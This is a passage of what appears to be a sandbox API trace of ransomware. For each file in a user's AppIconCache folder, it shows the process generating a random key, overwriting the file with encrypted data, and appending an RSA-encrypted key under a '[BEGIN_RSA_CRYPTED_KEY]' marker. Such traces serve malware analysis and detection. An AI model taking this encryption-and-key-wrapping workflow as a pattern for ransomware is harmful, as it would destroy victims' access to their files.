pszString="VjFuEbFBs16mwIdNVOpcMu2Ot6IYXzxgs3cmxC9hkprfv4iXFh+gdtfVTocQZQ1K\nY+UOxjTgZO/A1XMqXLngPrEzcWiZ5LDP8kQAvcM+YKS68DWu1nLXtcVBIKjWB1K/\nYZ1Yntb6f6Lal8fjFbtXT9JtGBOVhxvB8oJny75yw4O2hOj+32bAH2Atup3tTdB7\nB4uCMK1qBrGV67mb6TqcHXtNBIMJaE4VXtix1U4zZEvXh1gBqX18KEO0UhbI3SZ4\na5i/sBn2EzXjlGv3TQBA5QothPL5DQ18Ai2dcsu0QYofqc6rgT+AcDZHhbzmwuGg\nlz0pBANjoKvjRyQZsT5CCA==\n", pcchString=0x2e3f9a8) returned 1 [0247.326] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.326] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.326] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.326] CloseHandle (hObject=0x1afc) returned 1 [0247.328] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.328] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6BF1EC4C-18E6-43EE-9E47-5AF1592C4017}", dwFileAttributes=0x80) returned 1 [0247.328] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6BF1EC4C-18E6-43EE-9E47-5AF1592C4017}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{6bf1ec4c-18e6-43ee-9e47-5af1592c4017}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.329] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.329] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.330] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.330] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.330] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.330] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.330] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.330] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.330] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.330] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.331] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SW/d5BApVexGKhnwRQCoxmwfVjk4E0MUH7z6168onmmHSekCPAVW+D4V0gbiIENH\n7XEIU0pk5kSNeo7Evtugxjo2XAGQ2dUlvfSwuIu3Nt/LRYMTsuNqQ/XmorFtKc6C\nAguM5NJOgrsAZuFA/TWJ7sV9OzBXQms9lpUwql84QigbLqfKlzwUzGXi01WMD33F\nYRPQKN+WcfTOrF4hGo7hG0GPl1N6wjMMEJRG1iODYyojL+HeBEY4EGm4kvR2nhmy\nj4FjiJ2czIEX8QfAC0M0fGq2S9DFdw9bk1MHKYWkTWxhjqlP5eb4c6zRdg5hTbsL\nodMlAP3+Ai7IdQUgm1mwHA==\n", pcchString=0x2e3f9a8) returned 1 [0247.331] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.331] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.331] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.331] CloseHandle (hObject=0x1afc) returned 1 [0247.332] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.332] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6BB31C2E-FA0C-4956-A18E-B11812B9C486}", dwFileAttributes=0x80) returned 1 [0247.333] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6BB31C2E-FA0C-4956-A18E-B11812B9C486}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{6bb31c2e-fa0c-4956-a18e-b11812b9c486}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.333] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.333] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.334] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.334] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.335] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.335] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.335] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.335] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.335] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.335] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.335] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="v9bncP22p5d6OmFsMH0lHiz96PqXF/j8O9peEXUApc1krSOwrx0de4gjc81F4CRe\n3G/zUgsP5gtrtMzrw/4K0mcxzlGasry1t44RqKVZk/DnAmegQXnZPs0FQwDigR4j\n/7ly67lF/FihVCQ3KOJV9i6j3aWzUei31lBmw8/rNqIL6NUEAYaGuG7Ty6ngJ/xL\nvYSN0BQ+c3NqfNouPkd6tWFvq43uyAp3ff72stZwti9zg4d+9HGfxfsQ7Ek64gGh\nrJlvDzR9NjCzAzxB/Zvqv2FryjOECofX+ToQs0QuDGeYYmbrCPiIBPUpiMRSkuLT\nQOGS8igm+2rwYeF0ShDDkQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.335] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.335] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.335] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.336] CloseHandle (hObject=0x1afc) returned 1 [0247.337] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.337] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{60B864E9-702F-47ED-951E-4744ED9F9767}", dwFileAttributes=0x80) returned 1 [0247.338] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{60B864E9-702F-47ED-951E-4744ED9F9767}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{60b864e9-702f-47ed-951e-4744ed9f9767}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.338] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.338] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.339] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.339] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.340] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.340] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.340] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.340] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.340] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6lfd651gJa9HflE6OY6GlM0WdjKOPzhDhyw5sZUaJrTcQzDKm/Vk9v/VADR2qqK8\nrTcw2X5C0Vlw0JW291/tbLcY56Sp4cf4vqGacFSjTfyGndkEvLGTF5d1uzCWiugW\na3MkVgS3KcTHuXIOPotQ15mrX1fJsWQOKo2gmtgLjFuOmIinIYFp3qfh5bWTVkf9\nAkDIN+Q7DwTLshd0a4WFkEwG92f/5mLSnjsEHZQOFlh5tx0pRpCw6Y9oJKRopTQj\n2RVjzj9pFfip0hlFufgABuLsJ+Uhl5pWtrLu0/tv5tCviA5ItnddhYu5o8UYt0PS\nuYgIGQ9MUSgYuTPGZ6olZg==\n", pcchString=0x2e3f9a8) returned 1 [0247.340] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.340] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.340] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.341] CloseHandle (hObject=0x1afc) returned 1 [0247.342] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.342] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5DB529E8-8819-4E86-B114-23BA7B771028}", dwFileAttributes=0x80) returned 1 [0247.342] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5DB529E8-8819-4E86-B114-23BA7B771028}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5db529e8-8819-4e86-b114-23ba7b771028}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.343] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.343] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.346] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.346] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.346] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.346] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.346] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.347] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.347] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.347] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.347] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NmIsWRDx88ZQYrWeLuWYN1JcgPcqF4Wk3qXnnc06iUbPfJNp00pihKIO/aleFt2j\nfa0yPC5J4ITCU4LHkDcJeNxhqh5nGYGJJfkTccM+qu5h4/6dp36rmuTCfc5Sv3gb\nKpCnmG/HC0vonEbKwF3HBUq7jmW+LmupR85QasiX+nP4Ake47Lw390CN4gIgwW4G\n8K1GcYtud90cmawe5yO/5h2jbRsagm3riQA0mKBO2H95RHgdbjFtVlyja8cPvAkt\nLAdpUWbvTnu9fBXkaDda8CBG2MsMOX3PvrtGg3QoUf5IHT03lzavvME+RJWxHZ1s\n5PNdxXYuwTkMFGgsLdhNRg==\n", pcchString=0x2e3f9a8) returned 1 [0247.347] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.347] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.347] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.348] CloseHandle (hObject=0x1afc) returned 1 [0247.349] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.349] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5AB008CB-0CE6-4FFC-9BF2-A552FCBD0A3C}", dwFileAttributes=0x80) returned 1 [0247.350] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5AB008CB-0CE6-4FFC-9BF2-A552FCBD0A3C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5ab008cb-0ce6-4ffc-9bf2-a552fcbd0a3c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.350] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3750) returned 1 [0247.351] ReadFile (in: hFile=0x1afc, lpBuffer=0x313e008, nNumberOfBytesToRead=0xea6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesRead=0x2e3f9b4*=0xea6, lpOverlapped=0x0) returned 1 [0247.352] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-3750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.352] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f83870*, nNumberOfBytesToWrite=0xea6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f83870*, lpNumberOfBytesWritten=0x2e3f9b4*=0xea6, lpOverlapped=0x0) returned 1 [0247.352] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xea6 [0247.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.352] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.353] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8sdfzbtOWz4qu/Ks7sRKQ5ilEaubyV21nFqOeWwVVJ0AU2/qQcHLYjQoA4Ck/vtT\nTP4k7gX4khJHjxt83mUVdpiC4aQjEsZIEUQTT37WZxDEavqrnmndiV93U56tBpQ8\n9zBG9tQAyvm/X1mpBDuelqw1SaNS2kvgPDocY9wNs3eOi7bKKJ+GqgJOmCsLWj+C\n1flosGDRGlF0Oq9GiCd3GdKC+tc8O669Na5j8yKa2TZptWzkI3a7x8f/EeQqYQTP\ngOIT5jNNwOI3ICaRyB0nG54fhZWU6P7MDz7Jpi9q9BmWWIiiKutuwu5m00YFOAmp\nSvzYorVKTgrC0AzQ01W4Fg==\n", pcchString=0x2e3f9a8) returned 1 [0247.353] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.353] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.353] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.353] CloseHandle (hObject=0x1afc) returned 1 [0247.476] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.476] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{58BFC882-C01D-4396-BF26-A55720BADA37}", dwFileAttributes=0x80) returned 1 [0247.477] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{58BFC882-C01D-4396-BF26-A55720BADA37}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{58bfc882-c01d-4396-bf26-a55720bada37}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.477] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.477] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.573] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.573] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.574] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.574] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.574] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.574] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 